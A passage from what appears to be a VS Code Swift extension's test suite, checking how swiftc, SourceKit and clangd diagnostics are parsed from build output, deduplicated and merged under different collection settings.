testAssetUri("diagnosticsCpp/Sources/MyPoint/MyPoint.cpp"); + cppHeaderUri = testAssetUri("diagnosticsCpp/Sources/MyPoint/include/MyPoint.h"); + }, + }); + + teardown(function () { + diagnosticWaiterDisposable?.dispose(); + diagnosticWaiterDisposable = undefined; + const allDiagnosticsFulfilled = Object.values(remainingExpectedDiagnostics ?? {}).every( + diagnostics => diagnostics.length === 0 + ); + if (!allDiagnosticsFulfilled) { + const title = this.currentTest?.fullTitle() ?? ""; + const remainingDiagnostics = Object.entries(remainingExpectedDiagnostics ?? {}).filter( + ([_uri, diagnostics]) => diagnostics.length > 0 + ); + console.error( + `${title} - Not all diagnostics were fulfilled. Remaining:`, + JSON.stringify(remainingDiagnostics, undefined, " ") + ); + } + }); + + suite("Parse diagnostics", function () { + suite("Parse from task output", () => { + const expectedWarningDiagnostic = new vscode.Diagnostic( + new vscode.Range(new vscode.Position(1, 8), new vscode.Position(1, 8)), + "Initialization of variable 'unused' was never used; consider replacing with assignment to '_' or removing it", + vscode.DiagnosticSeverity.Warning + ); + expectedWarningDiagnostic.source = "swiftc"; + + const expectedMainErrorDiagnostic = new vscode.Diagnostic( + new vscode.Range(new vscode.Position(7, 0), new vscode.Position(7, 0)), + "Cannot assign to value: 'bar' is a 'let' constant", + vscode.DiagnosticSeverity.Error + ); + expectedMainErrorDiagnostic.source = "swiftc"; + + const expectedMainDictErrorDiagnostic = new vscode.Diagnostic( + new vscode.Range(new vscode.Position(15, 35), new vscode.Position(15, 35)), + "Use [:] to get an empty dictionary literal", + vscode.DiagnosticSeverity.Error + ); + expectedMainDictErrorDiagnostic.source = "swiftc"; + + const expectedFuncErrorDiagnostic: vscode.Diagnostic = new vscode.Diagnostic( + new vscode.Range(new vscode.Position(1, 4), new vscode.Position(1, 4)), + "Cannot find 'baz' in scope", + vscode.DiagnosticSeverity.Error + ); + expectedFuncErrorDiagnostic.source = "swiftc"; + + const expectedMacroDiagnostic = new vscode.Diagnostic( + new vscode.Range(new vscode.Position(19, 26), new vscode.Position(19, 26)), + "No calls to throwing functions occur within 'try' expression", + vscode.DiagnosticSeverity.Warning + ); + + expectedMacroDiagnostic.source = "swiftc"; + expectedMacroDiagnostic.relatedInformation = [ + { + location: { + uri: mainUri, + range: expectedMacroDiagnostic.range, + }, + message: "Expanded code originates here", + }, + ]; + + function runTestDiagnosticStyle( + style: DiagnosticStyle, + expected: () => ExpectedDiagnostics, + callback?: () => void + ) { + suite(`${style} diagnosticsStyle`, async function () { + let resetSettings: (() => Promise) | undefined; + suiteTeardown(async () => { + if (resetSettings) { + await resetSettings(); + resetSettings = undefined; + } + }); + + // SourceKit-LSP sometimes sends diagnostics + // after first build and can cause intermittent + // failure if `swiftc` diagnostic is fixed + suiteSetup(async function () { + // Swift 5.10 and 6.0 on Windows have a bug where the + // diagnostics are not emitted on their own line. + const swiftVersion = folderContext.toolchain.swiftVersion; + if ( + swiftVersion.isLessThan(new Version(5, 10, 0)) || + (process.platform === "win32" && + swiftVersion.isGreaterThanOrEqual(new Version(5, 10, 0)) && + swiftVersion.isLessThanOrEqual(new Version(6, 0, 999))) + ) { + this.skip(); + } + + resetSettings = await updateSettings({ + "swift.diagnosticsStyle": style, + "swift.buildArguments": ["-Xswiftc", `-DDIAGNOSTIC_STYLE=${style}`], + }); + + // Clean up any lingering diagnostics + if (vscode.languages.getDiagnostics(mainUri).length > 0) { + const clearPromise = new Promise(resolve => { + const diagnosticDisposable = + vscode.languages.onDidChangeDiagnostics(() => { + if (vscode.languages.getDiagnostics(mainUri).length === 0) { + diagnosticDisposable?.dispose(); + resolve(); + } + }); + }); + workspaceContext.diagnostics.clear(); + await clearPromise; + } + }); + + setup(() => { + resetBuildAllTaskCache(); + }); + + test("succeeds", async function () { + await Promise.all([ + waitForDiagnostics(expected()), + createBuildAllTask(folderContext).then(task => + executeTaskAndWaitForResult(task) + ), + ]); + }); + + callback && callback(); + }); + } + + runTestDiagnosticStyle( + "default", + () => ({ + [mainUri.fsPath]: [ + expectedWarningDiagnostic, + expectedMainErrorDiagnostic, + expectedMainDictErrorDiagnostic, + ...(workspaceContext.globalToolchainSwiftVersion.isGreaterThanOrEqual( + new Version(6, 0, 0) + ) + ? [expectedMacroDiagnostic] + : []), + ], // Should have parsed correct severity + [funcUri.fsPath]: [expectedFuncErrorDiagnostic], // Check parsed for other file + }), + () => { + test("Parses related information", async function () { + if ( + workspaceContext.globalToolchainSwiftVersion.isLessThan( + new Version(6, 1, 0) + ) + ) { + this.skip(); + } + const diagnostic = assertHasDiagnostic(mainUri, expectedMacroDiagnostic); + // Should have parsed related note + assert.equal(diagnostic.relatedInformation?.length, 1); + assert.equal( + diagnostic.relatedInformation![0].message, + "Expanded code originates here" + ); + assert.equal( + diagnostic.relatedInformation![0].location.uri.fsPath, + mainUri.fsPath + ); + assert.equal( + diagnostic.relatedInformation![0].location.range.isEqual( + expectedMacroDiagnostic.range + ), + true + ); + }); + } + ); + + runTestDiagnosticStyle("swift", () => ({ + [mainUri.fsPath]: [ + expectedWarningDiagnostic, + expectedMainErrorDiagnostic, + expectedMainDictErrorDiagnostic, + ], // Should have parsed correct severity + [funcUri.fsPath]: [expectedFuncErrorDiagnostic], // Check parsed for other file + })); + + runTestDiagnosticStyle( + "llvm", + () => ({ + [mainUri.fsPath]: [ + expectedWarningDiagnostic, + expectedMainErrorDiagnostic, + expectedMainDictErrorDiagnostic, + ], // Should have parsed correct severity + [funcUri.fsPath]: [expectedFuncErrorDiagnostic], // Check parsed for other file + }), + () => { + test("Parses related information", async () => { + const diagnostic = assertHasDiagnostic( + mainUri, + expectedMainErrorDiagnostic + ); + // Should have parsed related note + assert.equal(diagnostic.relatedInformation?.length, 1); + assert.equal( + diagnostic.relatedInformation![0].message, + "Change 'let' to 'var' to make it mutable" + ); + assert.equal( + diagnostic.relatedInformation![0].location.uri.fsPath, + mainUri.fsPath + ); + assert.equal( + diagnostic.relatedInformation![0].location.range.isEqual( + new vscode.Range( + new vscode.Position(6, 0), + new vscode.Position(6, 0) + ) + ), + true + ); + }); + + test("Parses C diagnostics", async function () { + // Should have parsed severity + const expectedDiagnostic1 = new vscode.Diagnostic( + new vscode.Range( + new vscode.Position(5, 10), + new vscode.Position(5, 10) + ), + "Use of undeclared identifier 'bar'", + vscode.DiagnosticSeverity.Error + ); + expectedDiagnostic1.source = "swiftc"; + const expectedDiagnostic2 = new vscode.Diagnostic( + new vscode.Range(new vscode.Position(6, 6), new vscode.Position(6, 6)), + "No member named 'z' in 'struct MyPoint'", + vscode.DiagnosticSeverity.Error + ); + expectedDiagnostic2.source = "swiftc"; + + await Promise.all([ + waitForDiagnostics({ + [cUri.fsPath]: [expectedDiagnostic1, expectedDiagnostic2], + }), + createBuildAllTask(cFolderContext).then(task => + executeTaskAndWaitForResult(task) + ), + ]); + await waitForNoRunningTasks(); + }); + + test("Parses C++ diagnostics", async function () { + // Should have parsed severity + const expectedDiagnostic1 = new vscode.Diagnostic( + new vscode.Range(new vscode.Position(6, 5), new vscode.Position(6, 5)), + "Member reference type 'MyPoint *' is a pointer; did you mean to use '->'?", + vscode.DiagnosticSeverity.Error + ); + expectedDiagnostic1.source = "swiftc"; + + // Should have parsed releated information + const expectedDiagnostic2 = new vscode.Diagnostic( + new vscode.Range( + new vscode.Position(3, 21), + new vscode.Position(3, 21) + ), + "Unknown type name 'MyPoint2'; did you mean 'MyPoint'?", + vscode.DiagnosticSeverity.Error + ); + expectedDiagnostic2.source = "swiftc"; + + // Message should not contain [-Wreturn-mismatch] so it can be merged with + // SourceKit diagnostics if required + const expectedDiagnostic3 = new vscode.Diagnostic( + new vscode.Range( + new vscode.Position(11, 4), + new vscode.Position(11, 4) + ), + "Non-void function 'main' should return a value", + vscode.DiagnosticSeverity.Error + ); + expectedDiagnostic3.source = "swiftc"; + + await Promise.all([ + waitForDiagnostics({ + [cppUri.fsPath]: [ + expectedDiagnostic1, + expectedDiagnostic2, + expectedDiagnostic3, + ], + }), + createBuildAllTask(cppFolderContext).then(task => + executeTaskAndWaitForResult(task) + ), + ]); + await waitForNoRunningTasks(); + + const diagnostic = assertHasDiagnostic(cppUri, expectedDiagnostic2); + assert.equal( + diagnostic.relatedInformation![0].location.uri.fsPath, + cppHeaderUri.fsPath + ); + assert.equal( + diagnostic.relatedInformation![0].location.range.isEqual( + new vscode.Range( + new vscode.Position(0, 6), + new vscode.Position(0, 6) + ) + ), + true + ); + }); + } + ); + }); + + suite("Controlled output", () => { + const outputDiagnostic = new vscode.Diagnostic( + new vscode.Range(new vscode.Position(12, 4), new vscode.Position(12, 4)), + "Cannot find 'foo' in scope", + vscode.DiagnosticSeverity.Error + ); + outputDiagnostic.source = "swiftc"; + let workspaceFolder: vscode.WorkspaceFolder; + + setup(async () => { + await waitForNoRunningTasks(); + workspaceContext.diagnostics.clear(); + workspaceFolder = folderContext.workspaceFolder; + }); + + test("Parse partial line", async () => { + const fixture = testSwiftTask("swift", ["build"], workspaceFolder, toolchain); + const startPromise = waitForStartTaskProcess(fixture.task); + await vscode.tasks.executeTask(fixture.task); + await startPromise; + // Wait to spawn before writing + fixture.process.write(`${mainUri.fsPath}:13:5: err`, ""); + fixture.process.write("or: Cannot find 'fo", ""); + fixture.process.write("o' in scope"); + fixture.process.close(1); + await waitForNoRunningTasks(); + // Should have parsed + assertHasDiagnostic(mainUri, outputDiagnostic); + }); + + // https://github.com/apple/swift/issues/73973 + test("Ignore duplicates", async () => { + const fixture = testSwiftTask("swift", ["build"], workspaceFolder, toolchain); + const startPromise = waitForStartTaskProcess(fixture.task); + await vscode.tasks.executeTask(fixture.task); + await startPromise; + // Wait to spawn before writing + const output = `${mainUri.fsPath}:13:5: error: Cannot find 'foo' in scope`; + fixture.process.write(output); + fixture.process.write("some random output"); + fixture.process.write(output); + fixture.process.close(1); + await waitForNoRunningTasks(); + const diagnostics = vscode.languages.getDiagnostics(mainUri); + // Should only include one + assert.equal(diagnostics.length, 1); + assertHasDiagnostic(mainUri, outputDiagnostic); + }); + + test("New set of swiftc diagnostics clear old list", async () => { + let fixture = testSwiftTask("swift", ["build"], workspaceFolder, toolchain); + let startPromise = waitForStartTaskProcess(fixture.task); + await vscode.tasks.executeTask(fixture.task); + await startPromise; + // Wait to spawn before writing + fixture.process.write(`${mainUri.fsPath}:13:5: error: Cannot find 'foo' in scope`); + fixture.process.close(1); + await waitForNoRunningTasks(); + let diagnostics = vscode.languages.getDiagnostics(mainUri); + // Should only include one + assert.equal(diagnostics.length, 1); + assertHasDiagnostic(mainUri, outputDiagnostic); + + // Run again but no diagnostics returned + fixture = testSwiftTask("swift", ["build"], workspaceFolder, toolchain); + startPromise = waitForStartTaskProcess(fixture.task); + await vscode.tasks.executeTask(fixture.task); + await startPromise; + fixture.process.close(0); + await waitForNoRunningTasks(); + diagnostics = vscode.languages.getDiagnostics(mainUri); + // Should have cleaned up + assert.equal(diagnostics.length, 0); + }); + + // https://github.com/apple/swift/issues/73973 + test("Ignore XCTest failures", async () => { + const testUri = testAssetUri("diagnostics/Tests/MyCLITests/MyCLIXCTests.swift"); + const fixture = testSwiftTask("swift", ["test"], workspaceFolder, toolchain); + await vscode.tasks.executeTask(fixture.task); + // Wait to spawn before writing + fixture.process.write("Build complete!"); + fixture.process.write( + `${testUri.path}:11: error: -[MyCLITests.MyCLIXCTests testFailure] : XCTAssertEqual failed: ("41") is not equal to ("42")` + ); + fixture.process.close(1); + await waitForNoRunningTasks(); + const diagnostics = vscode.languages.getDiagnostics(testUri); + // Should be empty + assert.equal(diagnostics.length, 0); + }); + }); + }); + + suite("Merge diagnostics", () => { + let swiftcErrorDiagnostic: vscode.Diagnostic; + let swiftcWarningDiagnostic: vscode.Diagnostic; + let swiftcLowercaseDiagnostic: vscode.Diagnostic; + let sourcekitErrorDiagnostic: vscode.Diagnostic; + let sourcekitWarningDiagnostic: vscode.Diagnostic; + let sourcekitLowercaseDiagnostic: vscode.Diagnostic; + let clangErrorDiagnostic: vscode.Diagnostic; + let swiftcClangErrorDiagnostic: vscode.Diagnostic; + + setup(async () => { + workspaceContext.diagnostics.clear(); + swiftcErrorDiagnostic = new vscode.Diagnostic( + new vscode.Range(new vscode.Position(1, 8), new vscode.Position(1, 8)), // Note swiftc provides empty range + "Cannot assign to value: 'bar' is a 'let' constant", + vscode.DiagnosticSeverity.Error + ); + swiftcErrorDiagnostic.source = "swiftc"; + swiftcLowercaseDiagnostic = new vscode.Diagnostic( + new vscode.Range(new vscode.Position(1, 8), new vscode.Position(1, 8)), // Note swiftc provides empty range + "cannot assign to value: 'bar' is a 'let' constant", + vscode.DiagnosticSeverity.Error + ); + swiftcLowercaseDiagnostic.source = "swiftc"; + swiftcWarningDiagnostic = new vscode.Diagnostic( + new vscode.Range(new vscode.Position(2, 4), new vscode.Position(2, 4)), // Note swiftc provides empty range + "Initialization of variable 'unused' was never used; consider replacing with assignment to '_' or removing it", + vscode.DiagnosticSeverity.Warning + ); + swiftcWarningDiagnostic.source = "swiftc"; + sourcekitErrorDiagnostic = new vscode.Diagnostic( + new vscode.Range(new vscode.Position(1, 8), new vscode.Position(1, 14)), // Note SourceKit provides full range + "Cannot assign to value: 'bar' is a 'let' constant", + vscode.DiagnosticSeverity.Error + ); + sourcekitErrorDiagnostic.source = "SourceKit"; + sourcekitLowercaseDiagnostic = new vscode.Diagnostic( + new vscode.Range(new vscode.Position(1, 8), new vscode.Position(1, 14)), // Note SourceKit provides full range + "cannot assign to value: 'bar' is a 'let' constant", + vscode.DiagnosticSeverity.Error + ); + sourcekitLowercaseDiagnostic.source = "SourceKit"; + sourcekitWarningDiagnostic = new vscode.Diagnostic( + new vscode.Range(new vscode.Position(2, 4), new vscode.Position(2, 10)), // Note SourceKit provides full range + "Initialization of variable 'unused' was never used; consider replacing with assignment to '_' or removing it", + vscode.DiagnosticSeverity.Warning + ); + sourcekitWarningDiagnostic.source = "SourceKit"; + + clangErrorDiagnostic = new vscode.Diagnostic( + new vscode.Range(new vscode.Position(5, 10), new vscode.Position(5, 13)), + "Use of undeclared identifier 'bar'", + vscode.DiagnosticSeverity.Error + ); + clangErrorDiagnostic.source = "clang"; // Set by LSP + swiftcClangErrorDiagnostic = new vscode.Diagnostic( + new vscode.Range(new vscode.Position(5, 10), new vscode.Position(5, 13)), + "Use of undeclared identifier 'bar'", + vscode.DiagnosticSeverity.Error + ); + swiftcClangErrorDiagnostic.source = "swiftc"; + }); + + suite("markdownLinks", () => { + let diagnostic: vscode.Diagnostic; + + setup(async () => { + workspaceContext.diagnostics.clear(); + diagnostic = new vscode.Diagnostic( + new vscode.Range(new vscode.Position(1, 8), new vscode.Position(1, 8)), // Note swiftc provides empty range + "Cannot assign to value: 'bar' is a 'let' constant", + vscode.DiagnosticSeverity.Error + ); + diagnostic.source = "SourceKit"; + }); + + test("ignore strings", async () => { + diagnostic.code = "string"; + + // Now provide identical SourceKit diagnostic + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSourcekit, + [diagnostic] + ); + + // check diagnostic hasn't changed + assertHasDiagnostic(mainUri, diagnostic); + + const diagnostics = vscode.languages.getDiagnostics(mainUri); + const matchingDiagnostic = diagnostics.find(findDiagnostic(diagnostic)); + + expect(matchingDiagnostic).to.have.property("code", "string"); + }); + + test("ignore numbers", async () => { + diagnostic.code = 1; + + // Now provide identical SourceKit diagnostic + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSourcekit, + [diagnostic] + ); + + // check diagnostic hasn't changed + assertHasDiagnostic(mainUri, diagnostic); + + const diagnostics = vscode.languages.getDiagnostics(mainUri); + const matchingDiagnostic = diagnostics.find(findDiagnostic(diagnostic)); + + expect(matchingDiagnostic).to.have.property("code", 1); + }); + + test("target without markdown link", async () => { + const diagnosticCode = { + value: "string", + target: vscode.Uri.file("/some/path/md/readme.txt"), + }; + diagnostic.code = diagnosticCode; + + // Now provide identical SourceKit diagnostic + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSourcekit, + [diagnostic] + ); + + // check diagnostic hasn't changed + assertHasDiagnostic(mainUri, diagnostic); + + const diagnostics = vscode.languages.getDiagnostics(mainUri); + const matchingDiagnostic = diagnostics.find(findDiagnostic(diagnostic)); + + expect(matchingDiagnostic).to.have.property("code", diagnostic.code); + }); + + test("target with markdown link", async () => { + const pathToMd = "/some/path/md/readme.md"; + diagnostic.code = { + value: "string", + target: vscode.Uri.file(pathToMd), + }; + + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSourcekit, + [diagnostic] + ); + + const diagnostics = vscode.languages.getDiagnostics(mainUri); + const matchingDiagnostic = diagnostics.find(findDiagnostic(diagnostic)); + + expect(matchingDiagnostic).to.have.property("code"); + expect(matchingDiagnostic?.code).to.have.property("value", "More Information..."); + + if ( + matchingDiagnostic && + matchingDiagnostic.code && + typeof matchingDiagnostic.code !== "string" && + typeof matchingDiagnostic.code !== "number" + ) { + expect(matchingDiagnostic.code.target.scheme).to.equal("command"); + expect(matchingDiagnostic.code.target.path).to.equal( + "swift.openEducationalNote" + ); + expect(matchingDiagnostic.code.target.query).to.contain(pathToMd); + } else { + assert.fail("Diagnostic target not replaced with markdown command"); + } + }); + + test("target with malformed nightly link", async () => { + const malformedUri = + "/path/to/TestPackage/https:/docs.swift.org/compiler/documentation/diagnostics/nominal-types"; + const expectedUri = + "https://docs.swift.org/compiler/documentation/diagnostics/nominal-types/"; + diagnostic.code = { + value: "string", + target: vscode.Uri.file(malformedUri), + }; + + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSourcekit, + [diagnostic] + ); + + const diagnostics = vscode.languages.getDiagnostics(mainUri); + const matchingDiagnostic = diagnostics.find(findDiagnostic(diagnostic)); + + expect(matchingDiagnostic).to.have.property("code"); + expect(matchingDiagnostic?.code).to.have.property("value", "More Information..."); + + if ( + matchingDiagnostic && + matchingDiagnostic.code && + typeof matchingDiagnostic.code !== "string" && + typeof matchingDiagnostic.code !== "number" + ) { + expect(matchingDiagnostic.code.target.scheme).to.equal("command"); + expect(matchingDiagnostic.code.target.path).to.equal( + "swift.openEducationalNote" + ); + const parsed = JSON.parse(matchingDiagnostic.code.target.query); + expect(vscode.Uri.from(parsed).toString()).to.equal(expectedUri); + } else { + assert.fail("Diagnostic target not replaced with markdown command"); + } + }); + }); + + suite("keepAll", () => { + let resetSettings: (() => Promise) | undefined; + suiteTeardown(async () => { + if (resetSettings) { + await resetSettings(); + resetSettings = undefined; + } + }); + + suiteSetup(async function () { + resetSettings = await updateSettings({ + "swift.diagnosticsCollection": "keepAll", + }); + }); + + test("merge in SourceKit diagnostics", async () => { + // Add initial swiftc diagnostics + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSwiftc, + [swiftcErrorDiagnostic, swiftcWarningDiagnostic] + ); + + // Now provide identical SourceKit diagnostic + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSourcekit, + [sourcekitErrorDiagnostic] + ); + + // check kept all + assertHasDiagnostic(mainUri, sourcekitErrorDiagnostic); + assertHasDiagnostic(mainUri, swiftcErrorDiagnostic); + assertHasDiagnostic(mainUri, swiftcWarningDiagnostic); + }); + + test("merge in clangd diagnostics", async () => { + // Add initial swiftc diagnostics + workspaceContext.diagnostics.handleDiagnostics(cUri, DiagnosticsManager.isSwiftc, [ + swiftcClangErrorDiagnostic, + ]); + + // Now provide identical clangd diagnostic + workspaceContext.diagnostics.handleDiagnostics( + cUri, + DiagnosticsManager.isSourcekit, + [clangErrorDiagnostic] + ); + + // check clangd merged in + assertHasDiagnostic(cUri, clangErrorDiagnostic); + // check swiftc merged in + assertHasDiagnostic(cUri, swiftcClangErrorDiagnostic); + }); + + test("merge in swiftc diagnostics", async () => { + // Add initial SourceKit diagnostics + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSourcekit, + [sourcekitErrorDiagnostic, sourcekitWarningDiagnostic] + ); + + // Now provide identical swiftc diagnostic + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSwiftc, + [swiftcErrorDiagnostic] + ); + + // check kept all + assertHasDiagnostic(mainUri, swiftcErrorDiagnostic); + assertHasDiagnostic(mainUri, sourcekitErrorDiagnostic); + assertHasDiagnostic(mainUri, sourcekitWarningDiagnostic); + }); + }); + + suite("keepSourceKit", () => { + let resetSettings: (() => Promise) | undefined; + suiteTeardown(async () => { + if (resetSettings) { + await resetSettings(); + resetSettings = undefined; + } + }); + + suiteSetup(async function () { + resetSettings = await updateSettings({ + "swift.diagnosticsCollection": "keepSourceKit", + }); + }); + + test("merge in SourceKit diagnostics", async () => { + // Add initial swiftc diagnostics + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSwiftc, + [swiftcErrorDiagnostic, swiftcWarningDiagnostic] + ); + + // Now provide identical SourceKit diagnostic + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSourcekit, + [sourcekitErrorDiagnostic] + ); + + // check SourceKit merged in + assertHasDiagnostic(mainUri, sourcekitErrorDiagnostic); + // swiftc deduplicated + assertWithoutDiagnostic(mainUri, swiftcErrorDiagnostic); + // kept unique swiftc diagnostic + assertHasDiagnostic(mainUri, swiftcWarningDiagnostic); + }); + + test("merge in sourcekitd diagnostics", async () => { + // Add initial swiftc diagnostics + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSwiftc, + [swiftcErrorDiagnostic, swiftcWarningDiagnostic] + ); + + // Now provide identical sourcekitd diagnostic + sourcekitErrorDiagnostic.source = "sourcekitd"; // pre-Swift 6 + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSourcekit, + [sourcekitErrorDiagnostic] + ); + + // check sourcekitd merged in + assertHasDiagnostic(mainUri, sourcekitErrorDiagnostic); + // swiftc deduplicated + assertWithoutDiagnostic(mainUri, swiftcErrorDiagnostic); + // kept unique swiftc diagnostic + assertHasDiagnostic(mainUri, swiftcWarningDiagnostic); + }); + + test("merge in clangd diagnostics", async () => { + // Add initial swiftc diagnostics + workspaceContext.diagnostics.handleDiagnostics(cUri, DiagnosticsManager.isSwiftc, [ + swiftcClangErrorDiagnostic, + ]); + + // Now provide identical clangd diagnostic + workspaceContext.diagnostics.handleDiagnostics( + cUri, + DiagnosticsManager.isSourcekit, + [clangErrorDiagnostic] + ); + + // check clangd merged in + assertHasDiagnostic(cUri, clangErrorDiagnostic); + // swiftc deduplicated + assertWithoutDiagnostic(cUri, swiftcClangErrorDiagnostic); + }); + + test("merge in swiftc diagnostics", async () => { + // Add initial SourceKit diagnostic + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSourcekit, + [sourcekitErrorDiagnostic] + ); + + // Now provide swiftc diagnostics + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSwiftc, + [swiftcErrorDiagnostic, swiftcWarningDiagnostic] + ); + + // check SourceKit stayed in collection + assertHasDiagnostic(mainUri, sourcekitErrorDiagnostic); + // swiftc ignored + assertWithoutDiagnostic(mainUri, swiftcErrorDiagnostic); + // kept unique swiftc diagnostic + assertHasDiagnostic(mainUri, swiftcWarningDiagnostic); + }); + + test("no SourceKit diagnostics", async () => { + // Now provide swiftc diagnostics + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSwiftc, + [swiftcErrorDiagnostic, swiftcWarningDiagnostic] + ); + + // check added all diagnostics into collection + assertHasDiagnostic(mainUri, swiftcErrorDiagnostic); + assertHasDiagnostic(mainUri, swiftcWarningDiagnostic); + }); + + test("discrepency in capitalization", async () => { + // Add initial swiftc diagnostics + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSwiftc, + [swiftcErrorDiagnostic, swiftcWarningDiagnostic] + ); + + // Now provide SourceKit diagnostic with different capitalization + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSourcekit, + [sourcekitLowercaseDiagnostic] + ); + + // check SourceKit merged in capitalized one + assertHasDiagnostic(mainUri, sourcekitErrorDiagnostic); + // swiftc deduplicated + assertWithoutDiagnostic(mainUri, swiftcErrorDiagnostic); + // kept unique swiftc diagnostic + assertHasDiagnostic(mainUri, swiftcWarningDiagnostic); + }); + }); + + suite("keepSwiftc", () => { + let resetSettings: (() => Promise) | undefined; + suiteTeardown(async () => { + if (resetSettings) { + await resetSettings(); + resetSettings = undefined; + } + }); + + suiteSetup(async function () { + resetSettings = await updateSettings({ + "swift.diagnosticsCollection": "keepSwiftc", + }); + }); + + test("merge in swiftc diagnostics", async () => { + // Add initial SourceKit diagnostics + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSourcekit, + [sourcekitErrorDiagnostic, sourcekitWarningDiagnostic] + ); + + // Now provide identical swiftc diagnostic + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSwiftc, + [swiftcErrorDiagnostic] + ); + + // check swiftc merged in + assertHasDiagnostic(mainUri, swiftcErrorDiagnostic); + // SourceKit deduplicated + assertWithoutDiagnostic(mainUri, sourcekitErrorDiagnostic); + // kept unique SourceKit diagnostic + assertHasDiagnostic(mainUri, sourcekitWarningDiagnostic); + }); + + test("merge in clangd diagnostics", async () => { + // Add initial swiftc diagnostics + workspaceContext.diagnostics.handleDiagnostics(cUri, DiagnosticsManager.isSwiftc, [ + swiftcClangErrorDiagnostic, + ]); + + // Now provide identical clangd diagnostic + workspaceContext.diagnostics.handleDiagnostics( + cUri, + DiagnosticsManager.isSourcekit, + [clangErrorDiagnostic] + ); + + // check swiftc stayed in + assertHasDiagnostic(cUri, swiftcClangErrorDiagnostic); + // clangd ignored + assertWithoutDiagnostic(cUri, clangErrorDiagnostic); + }); + + test("merge in SourceKit diagnostics", async () => { + // Add initial swiftc diagnostic + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSwiftc, + [swiftcErrorDiagnostic] + ); + + // Now provide SourceKit diagnostics + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSourcekit, + [sourcekitErrorDiagnostic, sourcekitWarningDiagnostic] + ); + + // check swiftc stayed in collection + assertHasDiagnostic(mainUri, swiftcErrorDiagnostic); + // swiftc ignored + assertWithoutDiagnostic(mainUri, sourcekitErrorDiagnostic); + // kept unique SourceKit diagnostic + assertHasDiagnostic(mainUri, sourcekitWarningDiagnostic); + }); + + test("no swiftc diagnostics", async () => { + // Now provide swiftc diagnostics + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSourcekit, + [sourcekitErrorDiagnostic, sourcekitWarningDiagnostic] + ); + + // check added all diagnostics into collection + assertHasDiagnostic(mainUri, sourcekitErrorDiagnostic); + assertHasDiagnostic(mainUri, sourcekitWarningDiagnostic); + }); + + test("discrepency in capitalization", async () => { + // Add initial SourceKit diagnostics + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSourcekit, + [sourcekitErrorDiagnostic, sourcekitWarningDiagnostic] + ); + + // Now provide swiftc diagnostic with different capitalization + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSwiftc, + [swiftcLowercaseDiagnostic] + ); + + // check swiftc merged in + assertHasDiagnostic(mainUri, swiftcErrorDiagnostic); + // SourceKit deduplicated + assertWithoutDiagnostic(mainUri, sourcekitErrorDiagnostic); + // kept unique SourceKit diagnostic + assertHasDiagnostic(mainUri, sourcekitWarningDiagnostic); + }); + }); + + suite("onlySourceKit", () => { + let resetSettings: (() => Promise) | undefined; + suiteTeardown(async () => { + if (resetSettings) { + await resetSettings(); + resetSettings = undefined; + } + }); + + suiteSetup(async function () { + resetSettings = await updateSettings({ + "swift.diagnosticsCollection": "onlySourceKit", + }); + }); + + test("merge in SourceKit diagnostics", async () => { + // Add initial swiftc diagnostics + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSwiftc, + [swiftcErrorDiagnostic, swiftcErrorDiagnostic] + ); + + // Now provide identical SourceKit diagnostic + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSourcekit, + [sourcekitErrorDiagnostic] + ); + + // check SourceKit merged in + assertHasDiagnostic(mainUri, sourcekitErrorDiagnostic); + // ignored swiftc + assertWithoutDiagnostic(mainUri, swiftcErrorDiagnostic); + assertWithoutDiagnostic(mainUri, swiftcWarningDiagnostic); + }); + + test("merge in clangd diagnostics", async () => { + // Provide clangd diagnostic + workspaceContext.diagnostics.handleDiagnostics( + cUri, + DiagnosticsManager.isSourcekit, + [clangErrorDiagnostic] + ); + + // Add identical swiftc diagnostic + workspaceContext.diagnostics.handleDiagnostics(cUri, DiagnosticsManager.isSwiftc, [ + swiftcClangErrorDiagnostic, + ]); + + // check clangd merged in + assertHasDiagnostic(cUri, clangErrorDiagnostic); + // swiftc ignored + assertWithoutDiagnostic(cUri, swiftcClangErrorDiagnostic); + }); + + test("ignore swiftc diagnostics", async () => { + // Provide swiftc diagnostics + workspaceContext.diagnostics.handleDiagnostics( + mainUri, + DiagnosticsManager.isSwiftc, + [swiftcErrorDiagnostic, swiftcWarningDiagnostic] + ); + + // ignored swiftc + assertWithoutDiagnostic(mainUri, swiftcErrorDiagnostic); + assertWithoutDiagnostic(mainUri, swiftcWarningDiagnostic); + }); + + test("clean old swiftc diagnostics", async () => { + workspaceContext.diagnostics.allDiagnostics.set(mainUri.fsPath, [ + swiftcErrorDiagnostic, + swiftcWarningDiagnostic, + ]); + + // Now change to onlySourceKit and provide identical SourceKit diagnostic + 